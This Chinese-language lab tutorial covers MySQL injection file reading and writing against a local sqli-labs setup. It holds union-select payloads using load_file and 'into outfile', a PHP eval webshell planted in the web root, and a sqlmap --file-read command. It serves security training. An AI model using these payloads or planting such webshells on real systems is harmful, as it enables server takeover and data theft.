【安全】P 2-6 MySQL注入读写

0X01 MySQL注入读文件

MySQL数据库在渗透过程中能够使用的功能还是比较多的，除了读取数据之外，还可以进行对文件进行读写（前提是权限足够）。下面进行读文件。

读取前提：
1.用户权限足够高，尽量具有root权限
2.secure_file_priv 不为null

修改配置


测试

漏洞利用演示

http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(“C:\flag.txt”),3 –

0X02 MySQL注入写文件

开启全局general_log

http://127.0.0.1/sqli-labs/Less-7/?id=-1’)) union select 1,’<?php phpinfo();?>’,3 into outfile ‘C:\phpStudy\PHPTutorial\WWW\sqli-labs\Less-7\1.php’ –

成功写入

0X03 写入webshell

写入一句话木马，<?php @eval($_POST['cmd']);?>
使用菜刀连接
http://127.0.0.1/sqli-labs/Less-7/?id=-1’)) union select 1,’<?php @eval($_POST[''cmd]);?>’,3 into outfile ‘C:\phpStudy\PHPTutorial\WWW\sqli-labs\Less-7\2.php’ –

0X04 sqlmap安全测试

利用sqlmap进行读写文件
sqlmap -hh 查看详细的帮助信息

sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-7/?id=1” --file-read “C:\flag.txt”

读取成功
可以自己根据语法再尝试一下写入操作

-----E-----N-----D-----
😄如有问题，请各位师傅斧正，你的支持是我最大的动力。